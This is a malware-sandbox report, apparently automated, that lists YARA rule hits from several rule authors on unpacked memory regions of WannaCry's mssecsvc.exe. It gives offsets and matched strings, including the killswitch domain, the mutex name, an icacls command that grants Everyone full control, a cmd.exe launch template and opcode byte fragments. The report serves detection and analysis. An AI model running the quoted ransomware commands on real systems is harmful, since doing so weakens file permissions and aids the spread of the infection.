6.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvc.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvc.exe.400000.4.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.400000.4.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.5.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.5.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.5.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.0.mssecsvc.exe.7100a4.1.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.0.mssecsvc.exe.7100a4.1.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvc.exe.7100a4.1.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.7100a4.7.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.7100a4.7.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.7100a4.7.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
7.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
7.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
7.0.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.0.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvc.exe.400000.0.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x340ba:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x8090:$start_service_3: 83 EC 10 68 04 01 00 00 68 60 F7 70 00 6A 00 FF 15 6C A0 40 00 FF 15 2C A1 40 00 83 38 02 7D 09 E8 6B FE FF FF 83 C4 10 C3 57 68 3F 00 0F 00 6A 00 6A 00 FF 15 10 A0 40 00 8B F8 85 FF 74 32 53 ... 0x9a16:$entrypoint_all: 55 8B EC 6A FF 68 A0 A1 40 00 68 A2 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C0 A0 40 00 59 83 0D 94 F8 70 00 FF 83 0D 98 F8 70 ... 0x3985e:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
6.2.mssecsvc.exe.7100a4.1.raw.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q 0xf4d8:$x3: tasksche.exe 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA 0xf52c:$x5: WNcry@2ol7 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q 0xf42c:$s3: cmd.exe /c "%s" 0x41980:$s4: msg/m_portuguese.wnry 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
6.2.mssecsvc.exe.7100a4.1.raw.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvc.exe.7100a4.1.raw.unpack	Win32_Ransomware_WannaCry	unknown	ReversingLabs	0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ... 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
4.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 0x17350:$x7: mssecsvc.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C 0x34780:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56 0x3436c:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
4.2.mssecsvc.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvc.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvc.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
